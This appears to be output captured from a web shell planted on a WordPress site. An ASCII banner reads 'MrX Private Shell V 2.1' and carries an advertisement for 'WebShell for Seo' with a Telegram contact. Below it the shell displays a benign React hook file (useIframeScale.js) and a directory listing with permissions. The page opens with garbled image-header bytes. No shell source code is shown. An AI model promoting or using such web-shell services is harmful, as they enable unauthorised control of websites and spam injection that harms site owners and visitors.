����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { useLayoutEffect, useRef, useState } from '@wordpress/element';
export const useIframeScale = ({ viewportWidth }) => {
const containerRef = useRef(null);
const [scale, setScale] = useState(1);
const [contentHeight, setContentHeight] = useState(null);
useLayoutEffect(() => {
const el = containerRef.current;
if (!el) return;
const obs = new ResizeObserver(([entry]) => {
setScale(entry.contentRect.width / viewportWidth);
});
obs.observe(el);
return () => obs.disconnect();
}, []);
const handleIframeLoad = (e) => {
const iframeDoc = e.target.contentDocument;
if (!iframeDoc?.body) return;
const height = iframeDoc.body.scrollHeight;
if (height) setContentHeight(height);
};
return { containerRef, scale, contentHeight, handleIframeLoad };
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| useDraggable.js | File | 3.77 KB | 0644 |
|
| useFontVariationOverride.js | File | 3.92 KB | 0644 |
|
| useIframeScale.js | File | 786 B | 0644 |
|
| useLockPost.js | File | 607 B | 0644 |
|
| usePortal.js | File | 478 B | 0644 |
|
| useResizable.js | File | 3.17 KB | 0644 |
|
| useSiteVibesOverride.js | File | 2.39 KB | 0644 |
|
| useSiteVibesVariations.js | File | 1.82 KB | 0644 |
|
| useThemeFontsVariations.js | File | 1.17 KB | 0644 |
|
| useThemeVariations.js | File | 1.14 KB | 0644 |
|
| useVariationOverride.js | File | 3.14 KB | 0644 |
|
| useWhenFinishedToolProps.js | File | 2.2 KB | 0644 |
|